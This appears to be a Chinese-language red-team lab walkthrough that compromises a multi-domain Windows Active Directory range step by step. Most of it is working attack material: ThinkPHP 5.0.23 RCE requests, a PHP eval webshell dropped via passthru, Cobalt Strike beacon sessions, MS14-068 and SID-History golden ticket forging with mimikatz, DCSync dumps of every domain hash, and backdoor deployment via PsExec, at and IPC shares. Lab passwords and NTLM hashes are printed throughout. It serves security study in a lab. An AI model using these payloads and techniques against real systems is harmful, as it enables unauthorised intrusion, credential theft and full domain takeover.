“ 本次靶场相较于前两篇文章稍复杂一些,考察的也是不同的漏洞利用方法,可用于熟悉一些域内提权、跨域攻击、深入信息收集方法,文章仅供学习参考,大佬勿喷。本期文章靶场来自公众号:渗透攻击红队。”
声明:本文章仅对个人学习过程进行记录总结,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
01
—
环境简介
-
攻击机:
-
Windows 10:172.20.4.137
-
Kali Linux:172.20.4.153
-
靶机:
-
Windows Server 2016:172.20.4.24、10.0.1.16
-
Windows Server 2008:10.0.1.8
-
Windows Server 2008:10.0.0.8
-
Windows 7:10.0.0.7
02
—
外网打点
ThinkPHP 5.0.23 RCE
浏览器访问目标ip
tp5框架,使用检测工具进行批量漏洞检测
检测到存在ThinkPHP 5.0.23 RCE,尝试命令执行
命令执行完成并没有得到回显,尝试抓包手工测试poc
POST /?s=captcha&test=-1 HTTP/1.1
Host: 172.20.4.24
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
phpinfo可以正常执行,测试一下执行系统命令whomai
POST /?s=captcha&test=-1 HTTP/1.1
Host: 172.20.4.24
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
发现并没有得到回显,在phpinfo界面中查看disable_functions发现禁用了很多函数
可以执行系统命令的函数:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
发现passthru()没有被禁,利用这个函数尝试执行系统命令
POST /?s=captcha&test=-1 HTTP/1.1
Host: 172.20.4.24
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
_method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=whoami
成功RCE,得到当前用户为webserveradministrator
写入一句话木马到网站目录
POST /?s=captcha&test=-1 HTTP/1.1
Host: 172.20.4.24
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
_method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=echo+"<%3fphp+%40eval($_POST['hacker'])%3bphpinfo()%3b%3f>"+>+shell.php
蚁剑连接
上传CS后门到当前目录
打开终端运行后门程序
成功上线CS,本地管理员权限
03
—
内网渗透
内网信息收集
查看当前机器网络配置信息
shell ipconfig /all
Tasked beacon to run: ipconfig /all
host called home, sent: 44 bytes
received output:
Windows IP 配置
. . . . . . . . . . . . . : webserver
DNS 后缀 . . . . . . . . . . . : root.redteam.lab
. . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
DNS 后缀搜索列表 . . . . . . . . : root.redteam.lab
redteam.lab
Ethernet0:
DNS 后缀 . . . . . . . :
. . . . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
. . . . . . . . . . . . : 00-0C-29-A7-C3-F2
DHCP 已启用 . . . . . . . . . . . : 是
. . . . . . . . . : 是
IPv6 地址. . . . . . . . : fe80::9827:445a:52b5:1a04%3(首选)
IPv4 地址 . . . . . . . . . . . . : 172.20.4.24(首选)
. . . . . . . . . . . . : 255.255.252.0
. . . . . . . . . : 2024年3月30日 9:33:50
. . . . . . . . . : 2024年4月1日 9:33:50
. . . . . . . . . . . . : 172.20.7.254
DHCP 服务器 . . . . . . . . . . . : 172.31.255.4
DHCPv6 IAID . . . . . . . . . . . : 50334761
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-2D-99-24-56-00-0C-29-A7-C3-F2
DNS 服务器 . . . . . . . . . . . : 172.31.255.5
211.142.211.124
TCPIP 上的 NetBIOS . . . . . . . : 已启用
Ethernet1:
DNS 后缀 . . . . . . . :
. . . . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
. . . . . . . . . . . . : 00-0C-29-A7-C3-FC
DHCP 已启用 . . . . . . . . . . . : 否
. . . . . . . . . : 是
IPv6 地址. . . . . . . . : fe80::f160:e860:f589:3ae5%5(首选)
IPv4 地址 . . . . . . . . . . . . : 10.0.1.16(首选)
. . . . . . . . . . . . : 255.255.0.0
. . . . . . . . . . . . : 10.0.0.1
DHCPv6 IAID . . . . . . . . . . . : 117443625
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-2D-99-24-56-00-0C-29-A7-C3-F2
DNS 服务器 . . . . . . . . . . . : 10.0.1.8
8.8.8.8
TCPIP 上的 NetBIOS . . . . . . . : 已启用
isatap.{4268B001-82D4-417B-BDF7-D963D6B426EC}:
. . . . . . . . . . . . : 媒体已断开连接
DNS 后缀 . . . . . . . :
. . . . . . . . . . . . . . : Microsoft ISATAP Adapter
. . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
. . . . . . . . . : 是
isatap.{97AF06A8-9183-4F82-86A5-A7CFEDF16BD5}:
. . . . . . . . . . . . : 媒体已断开连接
DNS 后缀 . . . . . . . :
. . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
. . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
. . . . . . . . . : 是
Teredo Tunneling Pseudo-Interface:
. . . . . . . . . . . . : 媒体已断开连接
DNS 后缀 . . . . . . . :
. . . . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
. . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
. . . . . . . . . : 是
可以看到当前机器在root.redteam.lab域中,还有一张IP为10.0.1.16的网卡
抓取一下登录密码
没有得到明文,有一个域用户ROOTxiaowang
查看当前机器上的进程
也没有域管权限的进程
尝试到在线网站上去解密一下ROOTxiaowang的密码哈希
得到明文密码为Xiao123
上传nbtscan扫描一下10.0.1.0/24
beacon> shell nbtscan.exe 10.0.1.0/24
[10.0.1.0/24 ] Tasked beacon to run: nbtscan.exe
[54 bytes ] host called home, sent:
[ ] received output:
Doing NBT name scan for addresses from 10.0.1.0/24
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
10.0.1.8 ROOT-AD <server> <unknown> 00-0c-29-4a-a0-c7
该C段下只有一台机器ROOT-AD,IP为10.0.1.8
上传fscan扫描
[*] Tasked beacon to run: fscan.exe -h 10.0.1.0/24
[+] host called home, sent: 42 bytes
[+] received output:
___ _
/ _ ___ ___ _ __ __ _ ___| | __
/ /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______ (__| | | (_| | (__| <
____/ |___/___|_| __,_|___|_|_
fscan version: 1.8.1
start infoscan
(icmp) Target 10.0.1.8 is alive
(icmp) Target 10.0.1.16 is alive
[*] Icmp alive hosts len is: 2
10.0.1.8:88 open
10.0.1.16:3306 open
10.0.1.16:445 open
10.0.1.8:445 open
10.0.1.16:139 open
10.0.1.8:139 open
10.0.1.16:135 open
10.0.1.8:135 open
10.0.1.16:80 open
[*] alive ports len is: 9
start vulscan
[+] NetInfo:
[*]10.0.1.16
[->]webserver
[->]172.20.4.24
[->]10.0.1.16
[+] NetInfo:
[*]10.0.1.8
[->]ROOT-AD
[->]10.0.1.8
[*] 10.0.1.8 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] 10.0.1.8 [+]DC ROOTROOT-AD Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle:http://10.0.1.16 code:200 len:931 title:None
2024/03/30 12:39:44 Unsolicited response received on idle HTTP channel starting with "xfdx94xbdxa5xafIxef)xfaaxfexc7Dxcaxe6xbexe3,xb0u007fxacxceX}\xffx03xdb3Exef4x19>%x00x00x00x00IENDxaeB`x82"; err=<nil>
[+] http://10.0.1.16 poc-yaml-thinkphp5023-method-rce poc1
可以看到域控机器是Windows Server 2008 R2系统
MS14-068攻击上线子域控
进行MS14-068攻击需要的条件:
-
目标主机没打相应补丁
-
域内任意用户SID
-
域内任意用户密码
-
系统版本为Windows 2008及以下
第一个条件目前尚不清楚,但是已经得到了域用户ROOTxiaowang:Xiao123可以尝试进行MS14-068攻击
之前在进程中可以看到有以ROOTxiaowang身份运行的进程,直接进程注入获取一个xiaowang用户权限的会话
查看一下当前用户的SID
beacon> shell whoami /user
[ ] Tasked beacon to run: whoami /user
[43 bytes ] host called home, sent:
[ ] received output:
用户信息
----------------
用户名 SID
============= =============================================
rootxiaowang S-1-5-21-252626755-3360192561-2172417258-1104
EXP:https://github.com/abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe
上传MS14-068.exe到目标机器,执行生成TGT票据
beacon> shell MS14-068.exe -u [email protected] -p Xiao123 -s S-1-5-21-252626755-3360192561-2172417258-1104 -d 10.0.1.8
[-068.exe -u [email protected] -p Xiao123 -s S-1-5-21-252626755-3360192561-2172417258-1104 -d 10.0.1.8 ] Tasked beacon to run: MS14
[144 bytes ] host called home, sent:
[ ] received output:
[for 10.0.1.8... Done! ] Building AS-REQ
[10.0.1.8... Done! ] Sending AS-REQ to
[from 10.0.1.8... Done! ] Receiving AS-REP
[from 10.0.1.8... Done! ] Parsing AS-REP
[for 10.0.1.8... Done! ] Building TGS-REQ
[10.0.1.8... Done! ] Sending TGS-REQ to
[from 10.0.1.8... Done! ] Receiving TGS-REP
[from 10.0.1.8... Done! ] Parsing TGS-REP
['[email protected]'... Done! ] Creating ccache file
在当前目录下生成了[email protected]票据文件
上传mimikatz,使用mimikatz将票据注入到当前内存中,伪造凭证
beacon> shell mimikatz.exe "kerberos::purge" "kerberos::ptc [email protected]" "exit"
["kerberos::purge" "kerberos::ptc [email protected]" "exit" ] Tasked beacon to run: mimikatz.exe
[121 bytes ] host called home, sent:
[ ] received output:
.
.
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # kerberos::purge
Ticket(s) purge for current session is OK
mimikatz(commandline) # kerberos::ptc [email protected]
Principal : (01) : xiaowang ; @ ROOT.REDTEAM.LAB
Data 0
Start/End/MaxRenew: 2024/3/30 13:02:38 ; 2024/3/30 23:02:38 ; 2024/4/6 13:02:38
Service Name (01) : krbtgt ; ROOT.REDTEAM.LAB ; @ ROOT.REDTEAM.LAB
Target Name (01) : krbtgt ; ROOT.REDTEAM.LAB ; @ ROOT.REDTEAM.LAB
Client Name (01) : xiaowang ; @ ROOT.REDTEAM.LAB
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
35c5bdca62dfe216e9b14d486073b697
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK
mimikatz(commandline) # exit
Bye!
查看当前缓存的票据
beacon> shell klist
[*] Tasked beacon to run: klist
[+] host called home, sent: 36 bytes
[+] received output:
当前登录 ID 是 0:0x3e7
缓存的票证: (1)
#0> 客户端: xiaowang @ ROOT.REDTEAM.LAB
服务器: krbtgt/ROOT.REDTEAM.LAB @ ROOT.REDTEAM.LAB
Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
票证标志 0x50a00000 -> forwardable proxiable renewable pre_authent
开始时间: 3/30/2024 13:02:38 (本地)
结束时间: 3/30/2024 23:02:38 (本地)
续订时间: 4/6/2024 13:02:38 (本地)
会话密钥类型: RSADSI RC4-HMAC(NT)
缓存标志: 0x1 -> PRIMARY
调用的 KDC:
此时就可以dir访问域控了,使用IP可能会拒绝访问,直接使用主机名
beacon> shell dir \10.0.1.8c$
[10.0.1.8c$ ] Tasked beacon to run: dir \
[48 bytes ] host called home, sent:
[ ] received output:
拒绝访问。
beacon> shell dir \root-adc$
[ ] Tasked beacon to run: dir \root-adc$
[47 bytes ] host called home, sent:
[ ] received output:
驱动器 \root-adc$ 中的卷没有标签。
卷的序列号是 7A33-DAED
\root-adc$ 的目录
2009/07/14 11:20 <DIR> PerfLogs
2024/03/30 09:48 <DIR> Program Files
2023/02/13 17:48 <DIR> Program Files (x86)
2023/02/13 17:37 <DIR> Users
2024/03/30 10:03 <DIR> Windows
0 个文件 0 字节
5 个目录 34,407,501,824 可用字节
在WEBSERVER机器上设置转发上线监听器
生成可执行程序后门zhuanfa1.exe
先上传到WEBSERVER机器
再copy到ROOT-AD机器的C盘
beacon> shell copy zhuanfa1.exe \root-adc$
[ ] Tasked beacon to run: copy zhuanfa1.exe \root-adc$
[61 bytes ] host called home, sent:
[ ] received output:
已复制 1 个文件。
beacon> shell dir \root-adc$
[ ] Tasked beacon to run: dir \root-adc$
[47 bytes ] host called home, sent:
[ ] received output:
驱动器 \root-adc$ 中的卷没有标签。
卷的序列号是 7A33-DAED
\root-adc$ 的目录
2009/07/14 11:20 <DIR> PerfLogs
2024/03/30 09:48 <DIR> Program Files
2023/02/13 17:48 <DIR> Program Files (x86)
2023/02/13 17:37 <DIR> Users
2024/03/30 10:03 <DIR> Windows
2024/03/30 13:30 295,936 zhuanfa1.exe
上传PsExec到WEBSERVER机器,执行后门程序
注意是PSTools的PsExec,er非impacket的psexec
beacon> shell psexec.exe -accepteula \root-ad -s c:zhuanfa1.exe
[*] Tasked beacon to run: psexec.exe -accepteula \root-ad -s c:zhuanfa1.exe
[+] host called home, sent: 82 bytes
[+] established link to child beacon: 10.0.1.8
[+] received output:
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
成功上线ROOT-AD机器,SYSTEM权限
查看ROOT-AD机器的网络配置信息
shell ipconfig /all
Tasked beacon to run: ipconfig /all
host called home, sent: 44 bytes
received output:
Windows IP 配置
. . . . . . . . . . . . . : ROOT-AD
DNS 后缀 . . . . . . . . . . . : root.redteam.lab
. . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
DNS 后缀搜索列表 . . . . . . . . : root.redteam.lab
redteam.lab
本地连接:
DNS 后缀 . . . . . . . :
. . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
. . . . . . . . . . . . : 00-0C-29-4A-A0-C7
DHCP 已启用 . . . . . . . . . . . : 否
. . . . . . . . . : 是
IPv4 地址 . . . . . . . . . . . . : 10.0.1.8(首选)
. . . . . . . . . . . . : 255.255.0.0
. . . . . . . . . . . . : 10.0.0.1
DNS 服务器 . . . . . . . . . . . : 10.0.1.8
10.0.0.8
10.0.1.8
TCPIP 上的 NetBIOS . . . . . . . : 已启用
isatap.{B54B1F7C-145C-4729-B88C-E50F2801061D}:
. . . . . . . . . . . . : 媒体已断开
DNS 后缀 . . . . . . . :
. . . . . . . . . . . . . . : Microsoft ISATAP Adapter
. . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP 已启用 . . . . . . . . . . . : 否
. . . . . . . . . : 是
虽然显示只有一张网卡IP为10.0.1.8,但是在Windows IP配置可以看到DNS后缀搜索列表中还有一个redteam.lab,当前拿到的域控应该是子域的域控,还有父域
子网掩码为255.255.0.0说明当前机器与B段下的其他机器可能互通
查看ARP缓存表
beacon> shell arp -a
[*] Tasked beacon to run: arp -a
[+] host called home, sent: 37 bytes
[+] received output:
接口: 10.0.1.8 --- 0xb
Internet 地址 物理地址 类型
10.0.0.7 00-0c-29-7f-f7-79 动态
10.0.0.8 00-0c-29-fc-0e-1d 动态
10.0.1.16 00-0c-29-a7-c3-fc 动态
可以发现还有10.0.0.7和10.0.0.8两台机器,分别ping一下
beacon> shell ping 10.0.0.7
[10.0.0.7 ] Tasked beacon to run: ping
[44 bytes ] host called home, sent:
[ ] received output:
正在 Ping 10.0.0.7 具有 32 字节的数据:
请求超时。
请求超时。
请求超时。
请求超时。
10.0.0.7 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
beacon> shell ping 10.0.0.8
[10.0.0.8 ] Tasked beacon to run: ping
[44 bytes ] host called home, sent:
[ ] received output:
正在 Ping 10.0.0.8 具有 32 字节的数据:
来自 10.0.0.8 的回复: 字节=32 时间=1ms TTL=128
来自 10.0.0.8 的回复: 字节=32 时间=1ms TTL=128
来自 10.0.0.8 的回复: 字节=32 时间=2ms TTL=128
来自 10.0.0.8 的回复: 字节=32 时间=2ms TTL=128
10.0.0.8 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 1ms,最长 = 2ms,平均 = 1ms
只能ping通10.0.0.8
上传fscan扫描一下b段
beacon> shell fscan.exe -h 10.0.0.1/16
[*] Tasked beacon to run: fscan.exe -h 10.0.0.1/16
[+] host called home, sent: 55 bytes
[+] received output:
___ _
/ _ ___ ___ _ __ __ _ ___| | __
/ /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______ (__| | | (_| | (__| <
____/ |___/___|_| __,_|___|_|_
fscan version: 1.8.1
start infoscan
(icmp) Target 10.0.0.8 is alive
(icmp) Target 10.0.1.8 is alive
(icmp) Target 10.0.1.16 is alive
[*] LiveTop 10.0.0.0/16 段存活数量为: 3
[*] LiveTop 10.0.1.0/24 段存活数量为: 2
[*] LiveTop 10.0.0.0/24 段存活数量为: 1
10.0.0.8:80 open
10.0.0.8:808 open
10.0.0.8:88 open
10.0.1.8:88 open
10.0.1.16:3306 open
10.0.0.8:445 open
10.0.1.16:445 open
10.0.1.8:445 open
10.0.0.8:443 open
10.0.1.16:139 open
10.0.1.8:139 open
10.0.0.8:139 open
10.0.1.16:135 open
10.0.1.8:135 open
10.0.0.8:135 open
10.0.1.16:80 open
[+] NetInfo:
[*]10.0.1.8
[->]ROOT-AD
[->]10.0.1.8
[*] 10.0.1.8 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[+] NetInfo:
[*]10.0.0.8
[->]owa
[->]10.0.0.8
[*] 10.0.1.8 [+]DC ROOTROOT-AD Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] 10.0.0.8 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] 10.0.0.8 [+]DC REDTEAMOWA Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[+] NetInfo:
[*]10.0.1.16
[->]webserver
[->]172.20.4.24
[->]10.0.1.16
[*] WebTitle:http://10.0.0.8 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle:https://10.0.0.8 code:200 len:689 title:IIS7
[*] 10.0.1.16 ROOTWEBSERVER Windows Server 2016 Datacenter 14393
[*] WebTitle:http://10.0.1.16 code:200 len:931 title:None
[+] http://10.0.1.16 poc-yaml-thinkphp5023-method-rce poc1
可以得到当前拿到的ROOT-AD机器为root.redteam.lab的域控,OWA为redteam.lab的域控,而root.redteam.lab为redteam.lab的子域
查询域信任关系
beacon> shell nltest /domain_trusts
[ ] Tasked beacon to run: nltest /domain_trusts
[52 bytes ] host called home, sent:
[ ] received output:
域信任的列表:
0: REDTEAM redteam.lab (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: 0x20 )
1: ROOT root.redteam.lab (NT 5) (Forest: 0) (Primary Domain) (Native)
此命令成功完成
可以看到子域和父域存在双向信任关系
Sid History跨域攻击上线父域控
Sid History 攻击需要:
-
域名称
-
域的SID值
-
域的KRBTGT账户的hash
-
伪造用户名
-
根域Enterprise Admins组的ObjectID
上传PowerView.ps1并导入
shell powershell -exec bypass "import-module C:windowstempPowerview.ps1"
查看当前域名
powershell Get-Domain
Tasked beacon to run: Get-Domain
host called home, sent: 297 bytes
received output:
Forest : redteam.lab
DomainControllers : {ROOT-AD.root.redteam.lab}
Children : {}
DomainMode : Windows2003Domain
Parent : redteam.lab
PdcRoleOwner : ROOT-AD.root.redteam.lab
RidRoleOwner : ROOT-AD.root.redteam.lab
InfrastructureRoleOwner : ROOT-AD.root.redteam.lab
Name : root.redteam.lab
查看当前域的SID
beacon> powershell Get-DomainSID
[ ] Tasked beacon to run: Get-DomainSID
[305 bytes ] host called home, sent:
[ ] received output:
S-1-5-21-252626755-3360192561-2172417258
获取KRBTGT账户的hash
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:881aa97cfd3446f82f97f3a847b79e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:105fc86a0f24896464a4772748051789:::
xiaowang:1104:aad3b435b51404eeaad3b435b51404ee:2da2a4991d15033319d15eb780372184:::
adduser:1105:aad3b435b51404eeaad3b435b51404ee:168df3659b5f75ab35645606839e5677:::
ROOT-AD$:1000:aad3b435b51404eeaad3b435b51404ee:dcc5bcec45937401c1c7b7038655cd79:::
WEBSERVER$:1106:aad3b435b51404eeaad3b435b51404ee:eed339c640e4fd291eb1ca80ca5e595a:::
REDTEAM$:1101:aad3b435b51404eeaad3b435b51404ee:2761565f91ac05e8d6beac55fa1c6997:::
获取根域Enterprise Admins组的ObjectID
beacon> powershell Convert-NameToSid redteamkrbtgt
[ ] Tasked beacon to run: Convert-NameToSid redteamkrbtgt
[357 bytes ] host called home, sent:
[ ] received output:
S-1-5-21-3044561657-3490269564-1163119649-502
汇总信息:
root.redteam.lab
S-1-5-21-252626755-3360192561-2172417258
105fc86a0f24896464a4772748051789
administrator
# 获取到krbtgt的SID后,需要将502修改为519,也就是Enterprise Admins组
S-1-5-21-3044561657-3490269564-1163119649-519
使用mimikatz注入票据
mimikatz kerberos::golden /user:administrator /domain:root.redteam.lab /sid:S-1-5-21-252626755-3360192561-2172417258 /krbtgt:105fc86a0f24896464a4772748051789 /sids:S-1-5-21-3044561657-3490269564-1163119649-519 /ptt
Tasked beacon to run mimikatz's kerberos::golden /user:administrator /domain:root.redteam.lab /sid:S-1-5-21-252626755-3360192561-2172417258 /krbtgt:105fc86a0f24896464a4772748051789 /sids:S-1-5-21-3044561657-3490269564-1163119649-519 /ptt command
host called home, sent: 788082 bytes
received output:
User : administrator
Domain : root.redteam.lab (ROOT)
SID : S-1-5-21-252626755-3360192561-2172417258
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3044561657-3490269564-1163119649-519 ;
ServiceKey: 105fc86a0f24896464a4772748051789 - rc4_hmac_nt
Lifetime : 2024/3/30 15:08:34 ; 2034/3/28 15:08:34 ; 2034/3/28 15:08:34
Ticket : ** Pass The Ticket **
PAC generated
PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated
Golden ticket for 'administrator @ root.redteam.lab' successfully submitted for current session
shell dir \owac$
Tasked beacon to run: dir \owac$
host called home, sent: 43 bytes
received output:
\owac$ 中的卷没有标签。
6657-6FBD
的目录
14:48 <DIR> ExchangeSetupLogs
16:28 <DIR> inetpub
11:20 <DIR> PerfLogs
09:52 <DIR> Program Files
14:10 <DIR> Program Files (x86)
13:28 <DIR> Users
09:54 <DIR> Windows
0 个文件 0 字节
7 个目录 23,132,299,264 可用字节
此时就可以访问到父域控的C盘了
将后门程序zhuanfa1.exe复制到OWA的C盘
beacon> shell copy zhuanfa1.exe \owac$
[ ] Tasked beacon to run: copy zhuanfa1.exe \owac$
[57 bytes ] host called home, sent:
[ ] received output:
已复制 1 个文件。
查看一下当前域内时间并使用at设置定时任务执行后门
beacon> shell net time /domain
[ ] Tasked beacon to run: net time /domain
[47 bytes ] host called home, sent:
[ ] received output:
\ROOT-AD.root.redteam.lab 的当前时间是 2024/3/30 15:14:27
命令成功完成。
beacon> shell at \owa 15:15 C:zhuanfa1.exe
[15:15 C:zhuanfa1.exe ] Tasked beacon to run: at \owa
[61 bytes ] host called home, sent:
[ ] received output:
新加了一项作业,其作业 ID = 1
稍微等待一会父域控OWA就成功上线到CS
抓取密码
mimikatz sekurlsa::logonpasswords
Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
host called home, sent: 788090 bytes
received output:
Authentication Id : 0 ; 955543 (00000000:000e9497)
Session : Interactive from 1
User Name : Administrator
Domain : REDTEAM
Logon Server : OWA
Logon Time : 2024/3/30 9:52:39
SID : S-1-5-21-3044561657-3490269564-1163119649-500
msv :
Primary
Username : Administrator
Domain : REDTEAM
NTLM : ad5a870327c02f83cb947af6a94a4c23
SHA1 : 8eb76d4d7d8d07f4fe525f4e7f70379a68953681
CredentialKeys
NTLM : ad5a870327c02f83cb947af6a94a4c23
SHA1 : 8eb76d4d7d8d07f4fe525f4e7f70379a68953681
tspkg :
wdigest :
Username : Administrator
Domain : REDTEAM
Password : admin!@#456
kerberos :
Username : administrator
Domain : REDTEAM.LAB
Password : admin!@#456
ssp :
credman :
得到域管理员用户REDTEAMAdministrator的明文密码admin!@#456
最终的目标是拿到渗透攻击红队公司下财务部门主管liuyuan的个人电脑权限,并且获取到相应的Flag
导出域内所有用户密码哈希
mimikatz lsadump::dcsync /domain:redteam.lab /all /csv
Tasked beacon to run mimikatz's lsadump::dcsync /domain:redteam.lab /all /csv command
host called home, sent: 788081 bytes
received output:
'redteam.lab' will be the domain
'owa.redteam.lab' will be the DC server
Exporting domain 'redteam.lab'
Service : ldap
AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt 7f83b52bdbfbe4bb39277eda6d0022b2 514
1126 mail 38fe728ae616f0fde13715e7c320685f 66048
1137 adduser 168df3659b5f75ab35645606839e5677 66048
1138 webserver 0b564247267bce0a40cae80e575b9f64 66048
1127 zhangfei ccef208c6485269c20db2cad21734fe7 66048
1133 saulgoodman ccef208c6485269c20db2cad21734fe7 66048
1134 ak47 ccef208c6485269c20db2cad21734fe7 66048
1128 lisi ccef208c6485269c20db2cad21734fe7 66048
1135 uzi ccef208c6485269c20db2cad21734fe7 66048
1132 zhoutian ccef208c6485269c20db2cad21734fe7 66048
1129 justinBieber ccef208c6485269c20db2cad21734fe7 66048
1130 zhangwen ccef208c6485269c20db2cad21734fe7 66048
1142 test ccef208c6485269c20db2cad21734fe7 66048
500 Administrator ad5a870327c02f83cb947af6a94a4c23 512
1131 liuyuan ae4c0d5fb959fda8f4cb1d14a8376af4 66048
1140 WORK$ 1a4f05e3d110a6ae3f21de304058618f 4096
1141 ROOT$ dc6ff1604ac5834d875069233f61b88d 2080
1000 OWA$ fc1bf2d30219e31a032bac9dd3eb14a0 532480
可以得到liuyuan:ae4c0d5fb959fda8f4cb1d14a8376af4
根据域用户名定位登陆机器
在Windows系统中,用户登录成功会在日志中记录一条事件ID为4624的记录
导出相关日志:
shell wevtutil epl Security c:windowslogsrisalogs.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 4449183132]]]"
在C:WindowsLogs目录找到risalogs.evtx
将risalogs.evtx下载到本地,使用logparser读取并转换格式
https://www.microsoft.com/en-us/download/details.aspx?id=24659
LogParser.exe -i:EVT -o csv "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as NAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as IP FROM risalogs.evtx" > log.txt
得到log.txt
到Kali中筛选一下文本内容
grep -v '$' log.txt | sort | uniq | egrep -v 'ANONYMOUS LOGIN|-|:' > login_succeed.txt
可以看到用户liuyuan登录了10.0.0.7这台机器
IPC攻击上线个人机器
使用域管理员用户与10.0.0.7建立IPC连接
beacon> shell net use \10.0.0.7 /u:redteamadministrator admin!@
[10.0.0.7 /u:redteamadministrator admin!@ ] Tasked beacon to run: net use \
[86 bytes ] host called home, sent:
[ ] received output:
命令成功完成。
beacon> shell dir \10.0.0.7c$
[10.0.0.7c$ ] Tasked beacon to run: dir \
[48 bytes ] host called home, sent:
[ ] received output:
驱动器 \10.0.0.7c$ 中的卷没有标签。
卷的序列号是 DC36-D173
\10.0.0.7c$ 的目录
2009/07/14 11:20 <DIR> PerfLogs
2024/03/30 09:47 <DIR> Program Files
2023/02/13 17:36 <DIR> Program Files (x86)
2023/02/13 17:31 <DIR> Users
2024/03/30 09:47 <DIR> Windows
0 个文件 0 字节
5 个目录 26,022,121,472 可用字节
父域控设置转发上线监听器
生成后门zhuanfa2.exe
先上传到父域控,再copy到10.0.0.7
beacon> shell copy zhuanfa2.exe \10.0.0.7c$
